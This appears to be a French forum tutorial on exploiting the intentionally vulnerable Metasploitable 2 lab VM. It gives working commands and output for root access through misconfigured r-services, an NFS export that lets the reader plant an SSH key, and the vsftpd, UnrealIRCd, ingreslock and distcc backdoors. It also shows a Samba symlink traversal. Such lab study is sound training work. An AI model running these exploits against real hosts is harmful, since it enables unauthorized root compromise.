Annonce

Réduire
Aucune annonce.

Metasploitable 2 - Guide d'exploitabilité

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tutoriel Metasploitable 2 - Guide d'exploitabilité

    Metasploitable 2

    La machine virtuelle Metasploitable est une version volontairement vulnérable de Ubuntu Linux conçue pour tester les outils de sécurité et de démontrer les vulnérabilités courantes.
    La version 2 de cette machine virtuelle est disponible au téléchargement à partir Sourceforge.net.
    Cette machine virtuelle est compatible avec VMWare, VirtualBox, et d'autres plates-formes de virtualisation communes.
    Par défaut, les interfaces réseau Metasploitable sont liés à la NAT les adaptateurs réseau Host-only, et l'image ne ​​doit jamais être exposé à un réseau hostile. (Remarque: Un didacticiel vidéo sur l'installation de Metasploitable 2 est disponible ici)



    Ce document présente la plupart des failles de sécurité de Metasploitable 2.
    Ce document continuera de se développer au fil du temps comme la plupart des défauts moins évidents de cette plate-forme.



    Mise en route
    Après le démarrage de la machine virtuelle, connectez-vous à la console avec l'identifiant "msfadmin" et le mot de passe "msfadmin" (sans les guillemets).
    À partir du shell, exécutez la commande ifconfig pour identifier l'adresse IP.
    Code:
    [email protected]:~$ ifconfig
    
     
    
    eth0      Link encap:Ethernet  HWaddr 00:0c:29:9a:52:c1 
    
              inet addr:192.168.99.131  Bcast:192.168.99.255  Mask:255.255.255.0
    
              inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
    
              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1





    Services



    A partir de notre système d'attaque (Linux, de préférence ou quelque chose du genre du BackTrack), nous identifierons les services réseaux ouverts de cette machine virtuelle à l'aide du scanner de sécurité Nmap.
    La ligne de commande suivante va scanner tous les ports TCP sur Metasploitable 2 :
    Code:
    [email protected]:~# nmap -p0-65535 192.168.99.131
    
    Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT
    
    Nmap scan report for 192.168.99.131
    
    Host is up (0.00028s latency).
    
    Not shown: 65506 closed ports
    
    PORT      STATE SERVICE
    
    21/tcp    open  ftp
    
    22/tcp    open  ssh
    
    23/tcp    open  telnet
    
    25/tcp    open  smtp
    
    53/tcp    open  domain
    
    80/tcp    open  http
    
    111/tcp   open  rpcbind
    
    139/tcp   open  netbios-ssn
    
    445/tcp   open  microsoft-ds
    
    512/tcp   open  exec
    
    513/tcp   open  login
    
    514/tcp   open  shell
    
    1099/tcp  open  rmiregistry
    
    1524/tcp  open  ingreslock
    
    2049/tcp  open  nfs
    
    2121/tcp  open  ccproxy-ftp
    
    3306/tcp  open  mysql
    
    3632/tcp  open  distccd
    
    5432/tcp  open  postgresql
    
    5900/tcp  open  vnc
    
    6000/tcp  open  X11
    
    6667/tcp  open  irc
    
    6697/tcp  open  unknown
    
    8009/tcp  open  ajp13
    
    8180/tcp  open  unknown
    
    8787/tcp  open  unknown
    
    39292/tcp open  unknown
    
    43729/tcp open  unknown
    
    44813/tcp open  unknown
    
    55852/tcp open  unknown
    
    MAC Address: 00:0C:29:9A:52:C1 (VMware)


    Presque chacun de ces services d'écoute sont un point d'entrée potenciel dans le système distant.
    Dans la section suivante, nous élargisseront certains de ces vecteurs.





    Services: Notions de base Unix



    Les ports TCP 512, 513, et 514 sont connus comme des services "r", et ont été mal configuré pour permettre l'accès à distance à partir de n'importe quel hôte (une norme ". Rhosts + +" situation).
    Pour profiter de cela, assurez-vous que le "rsh-client" client soit installé (sur Ubuntu), et exécutez la commande suivante en tant qu'administrateur local root.
    Si vous êtes invité à saisir une clé SSH, cela signifie que les outils rsh-client n'ont pas été installés et Ubuntu utilise par défaut SSH.

    Code:
    # rlogin -l root 192.168.99.131
    
    Last login: Fri Jun  1 00:10:39 EDT 2012 from :0.0 on pts/0
    
    Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
    
    [email protected]:~#
    Le prochain service que nous devrions regarder, c'est le Network File System (NFS).
    Les NFS peuvent être identifiés en sondant le port 2049 directement ou en demandant le portmapper d'une liste de services.
    L'exemple ci-dessous avec rpcinfo pour identifier NFS et showmount-e afin de déterminer si le "/" action (la racine du système de fichiers) est exporté.
    Vous aurez besoin du rpcbind et nfs-common paquets Ubuntu à suivre.
    Code:
    [email protected]:~# rpcinfo -p 192.168.99.131
    
       program vers proto   port  service
    
        100000    2   tcp    111  portmapper
    
        100000    2   udp    111  portmapper
    
        100024    1   udp  53318  status
    
        100024    1   tcp  43729  status
    
        100003    2   udp   2049  nfs
    
        100003    3   udp   2049  nfs
    
        100003    4   udp   2049  nfs
    
        100021    1   udp  46696  nlockmgr
    
        100021    3   udp  46696  nlockmgr
    
        100021    4   udp  46696  nlockmgr
    
        100003    2   tcp   2049  nfs
    
        100003    3   tcp   2049  nfs
    
        100003    4   tcp   2049  nfs
    
        100021    1   tcp  55852  nlockmgr
    
        100021    3   tcp  55852  nlockmgr
    
        100021    4   tcp  55852  nlockmgr
    
        100005    1   udp  34887  mountd
    
        100005    1   tcp  39292  mountd
    
        100005    2   udp  34887  mountd
    
        100005    2   tcp  39292  mountd
    
        100005    3   udp  34887  mountd
    
        100005    3   tcp  39292  mountd
    
    [email protected]:~# showmount -e 192.168.99.131
    
    Export list for 192.168.99.131:
    
    / *
    Nous voulons avoir accès à un système possédant un système de fichiers accessible en écriture.
    Pour ce faire (et parce que SSH fonctionne), nous allons générer une nouvelle clé SSH sur notre système offensif, monter l'export NFS, ajoutez la clé de notre dossier root authorized_keys:
    Code:
    [email protected]:~# ssh-keygen
    
    Generating public/private rsa key pair.
    
    Enter file in which to save the key (/root/.ssh/id_rsa):
    
    Enter passphrase (empty for no passphrase):
    
    Enter same passphrase again:
    
    Your identification has been saved in /root/.ssh/id_rsa.
    
    Your public key has been saved in /root/.ssh/id_rsa.pub.
    
    [email protected]:~# mkdir /tmp/r00t
    
    [email protected]:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
    
    [email protected]:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
    
    [email protected]:~# umount /tmp/r00t
    
    [email protected]:~# ssh [email protected]
    
    Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
    
    Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
    
    [email protected]:~#


    Services: Backdoors



    Sur le port 21, Metasploitable 2 fonctionne vsftpd, un serveur FTP populaire.
    Cette version contient un backdoor qui a été glissé dans le code source par un intrus inconnu.
    Le backdoor a été rapidement identifié et éliminé, mais avant ça quelques personnes ont téléchargé le code malicieux.
    Si un nom d'utilisateur est envoyé la version backdoored va ouvrir un shell d'écoute sur le port 6200.
    Nous pouvons le démontrer avec telnet ou utiliser le module Metasploit Framework et l'exploiter automatiquement:
    Code:
    [email protected]:~# telnet 192.168.99.131 21
    
    Trying 192.168.99.131...
    
    Connected to 192.168.99.131.
    
    Escape character is '^]'.
    
    220 (vsFTPd 2.3.4)
    
    user backdoored:)
    
    331 Please specify the password.
    
    pass invalid
    
    ^]
    
    telnet> quit
    
    Connection closed.
    
    [email protected]:~# telnet 192.168.99.131 6200
    
    Trying 192.168.99.131...
    
    Connected to 192.168.99.131.
    
    Escape character is '^]'.
    
    id;
    
    uid=0(root) gid=0(root)
    Sur le port 6667, Metasploitable2 exécute UnreaIRCD IRC daemon.
    Cette version contient un backdoor qui est passé inaperçu pendant des mois - déclenchée par l'envoi des lettres «AB» suivis d'un système de commande du serveur sur n'importe quel port d'écoute.
    Metasploit possède un module pour exploiter ceci afin d'obtenir un shell interactif, comme indiqué ci-dessous.
    Code:
    msfconsole
    
    msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
    
    msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
    
    msf  exploit(unreal_ircd_3281_backdoor) > exploit
    [*] Started reverse double handler
    [*] Connected to 192.168.99.131:6667...
    
        :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    
        :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
    [*] Sending backdoor command...
    [*] Accepted the first client connection...
    [*] Accepted the second client connection...
    [*] Command: echo 8bMUYsfmGvOLHBxe;
    [*] Writing to socket A
    [*] Writing to socket B
    [*] Reading from sockets...
    [*] Reading from socket B
    [*] B: "8bMUYsfmGvOLHBxe\r\n"
    [*] Matching...
    [*] A is input...
    [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700
    
    id
    
    uid=0(root) gid=0(root)
    Beaucoup moins subtil le vieux standby "ingreslock" backdoor qui écoute le port 1524.
    Le port ingreslock était un choix populaire il ya une décennie pour ajouter un backdoor sur un serveur compromis.
    Y accéder est simple:
    Code:
    [email protected]:~# telnet 192.168.99.131 1524
    
    Trying 192.168.99.131...
    
    Connected to 192.168.99.131.
    
    Escape character is '^]'.
    
    [email protected]:/# id
    
    uid=0(root) gid=0(root) groups=0(root)

    Services: Backdoors involontaires



    En plus des backdoor malveillants énoncés dans la section précédente, certains services sont presque des backdoor par leur nature même.
    Le premier d'entre eux est distccd, installé sur Metasploitable 2. Ce programme facilite l'emplois de compilateur à grandes échelles sur une batterie de systèmes pré-configurés.
    Le problème avec ce service est qu'un attaquant peut facilement en abuser en exécutant une commande , comme en témoigne l'utilisation du module Metasploit ci-dessous.
    Code:
    msfconsole
    
    msf > use exploit/unix/misc/distcc_exec
    
    msf  exploit(distcc_exec) > set RHOST 192.168.99.131
    
    msf  exploit(distcc_exec) > exploit
    [*] Started reverse double handler
    [*] Accepted the first client connection...
    [*] Accepted the second client connection...
    [*] Command: echo uk3UdiwLUq0LX3Bi;
    [*] Writing to socket A
    [*] Writing to socket B
    [*] Reading from sockets...
    [*] Reading from socket B
    [*] B: "uk3UdiwLUq0LX3Bi\r\n"
    [*] Matching...
    [*] A is input...
    [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700
    
    id
    
    uid=1(daemon) gid=1(daemon) groups=1(daemon)

    Samba, lorsqu'il est configuré avec un partage de fichiers accessible en écriture et lorsque les "wide links" sont activés (par défaut), peut également être utilisé comme un backdoor de sortes à accéder à des fichiers qui n'étaient pas destinées à être partagées.
    L'exemple ci-dessous utilise un module Metasploit qui donne un accès au système de fichiers root en utilisant une connexion anonyme et une part en écriture.
    Code:
    [email protected]:~# smbclient -L //192.168.99.131
    
    Anonymous login successful
    
    Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
    
            Sharename       Type      Comment
    
            ---------       ----      -------
    
            print$          Disk      Printer Drivers
    
            tmp             Disk      oh noes!
    
            opt             Disk     
    
            IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
    
            ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
    
    [email protected]:~# msfconsole
    
    msf > use auxiliary/admin/smb/samba_symlink_traversal
    
    msf  auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
    
    msf  auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
    
    msf  auxiliary(samba_symlink_traversal) > exploit
    [*] Connecting to the server...
    [*] Trying to mount writeable share 'tmp'...
    [*] Trying to link 'rootfs' to the root filesystem...
    [*] Now access the following share to browse the root filesystem:
    [*]     \\192.168.99.131\tmp\rootfs\
    
    msf  auxiliary(samba_symlink_traversal) > exit
    
    [email protected]:~# smbclient //192.168.99.131/tmp
    
    Anonymous login successful
    
    Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
    
    smb: \> cd rootfs
    
    smb: \rootfs\> cd etc
    
    smb: \rootfs\etc\> more passwd
    
    getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
    
    root:x:0:0:root:/root:/bin/bash
    
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    
    bin:x:2:2:bin:/bin:/bin/sh
    
    [..]

    Extrait de https://community.rapid7.com/docs/DOC-1875


    Suivre Hackademics: Twitter, Google+, Facebook.
Chargement...
X